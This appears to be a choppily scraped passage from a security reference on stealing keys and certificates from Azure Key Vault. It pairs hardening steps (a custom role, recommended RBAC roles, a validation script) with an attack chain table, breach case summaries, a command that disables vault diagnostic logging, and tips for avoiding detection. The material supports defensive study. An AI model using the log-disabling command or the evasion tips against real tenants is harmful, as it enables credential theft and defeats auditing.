Name = "Key Vault Limited Admin"
IsCustom = $true
Description = "Can manage Key Vault but cannot escalate permissions"
Actions = @(
"Microsoft.KeyVault/vaults/keys/read",
"Microsoft.KeyVault/vaults/certificates/read",
"Microsoft.KeyVault/vaults/secrets/read"
)
NotActions = @(
"Microsoft.Authorization/roleAssignments/write", # Cannot assign roles
"Microsoft.KeyVault/vaults/accessPolicies/write" # Cannot modify access policies
)
AssignableScopes = @("/subscriptions/{subscriptionId}")
}
New-AzRoleDefinition -Role $customRole
7. Require Conditional Access policy for Key Vault access
Manual Steps:
Require Compliant Device for Key Vault Accesscfa8b339-82a2-471a-da44-0954a3ff50eb)8. RBAC / Attribute-based access control (ABAC)
Recommended RBAC roles by use case:
| Use Case | Recommended Role | Permissions |
|---|---|---|
| Application reading secrets | Key Vault Secrets User | Get, list secrets (read-only) |
| Application decrypting data | Key Vault Crypto User | Get, decrypt, verify keys (read-only) |
| Administrator managing vaults | Key Vault Administrator | Full management (create, delete, get, set, etc.) |
| Auditor reviewing access | Key Vault Reader | Read metadata only (no secret values) |
Avoid:
Validation Command (Verify Fix):
# Check that no excessive roles are assigned
$keyVaultId = "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/Microsoft.KeyVault/vaults/{vaultName}"
$excessiveRoles = Get-AzRoleAssignment -Scope $keyVaultId | where RoleDefinitionName -in @("Contributor", "Owner")
if ($excessiveRoles.Count -eq 0) {
Write-Host "[✓] No excessive roles found"
} else {
Write-Host "[✗] Found $($excessiveRoles.Count) excessive role assignments"
$excessiveRoles | select DisplayName, RoleDefinitionName
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent grant OAuth attacks | Attacker tricks user into granting app broad Azure permissions |
| 2 | Privilege Escalation | [PE-VALID-010] Azure Role Assignment Abuse | Attacker escalates from app registration permissions to Key Vault scope |
| 3 | Credential Access | [CA-TOKEN-008] Azure DevOps PAT theft | Attacker steals service principal credentials from CI/CD pipeline |
| 4 | Current Step | [CA-UNSC-009] | Attacker extracts keys/certificates from Key Vault |
| 5 | Persistence | [CA-FORGE-001] Golden SAML cross-tenant attack | Attacker uses stolen federation certificate to forge auth tokens |
| 6 | Lateral Movement | [LM-AUTH-003] Pass-the-Certificate | Attacker authenticates to other services using stolen certificate |
| 7 | Impact | Custom script | Attacker signs malicious code, exfiltrates data, or establishes C2 channel |
Target: Financial services company with Synapse Analytics workspace
Timeline: 2024 Q4
Technique Usage:
Impact: Breach of 2 years of transaction records; regulatory fine of $3M+
Detection Failure: Logging was disabled; no audit trail of extraction
Reference: Datadog Security Labs - Key Vault Escalation
Target: Multiple cloud customers
Technique: Scattered Spider is known for comprehensive credential harvesting (T1552). Once in an environment, they search for all credential stores (Azure Key Vault, AWS Secrets Manager, Kubernetes secrets, etc.).
Known TTPs:
Get-AzKeyVaultSecret and Get-AzKeyVaultCertificate to enumerate vaultsReference: GuidePoint Security - Scattered Spider Analysis
Set-AzDiagnosticSetting -ResourceId $vault.ResourceId -Enabled $false
This is a separate attack (CA-UNSC-011 - Key Vault access policies abuse) and more noticeable.
Extract during normal business hours to blend with legitimate activity
Extract from a service principal rather than a user account (less suspicious than interactive admin activity at 3 AM)
Use Azure CLI or REST API instead of PowerShell to avoid PowerShell logging/transcription
This technique violates compliance requirements in:
Organizations failing to detect this compromise may face regulatory penalties, customer notification requirements, and reputational damage.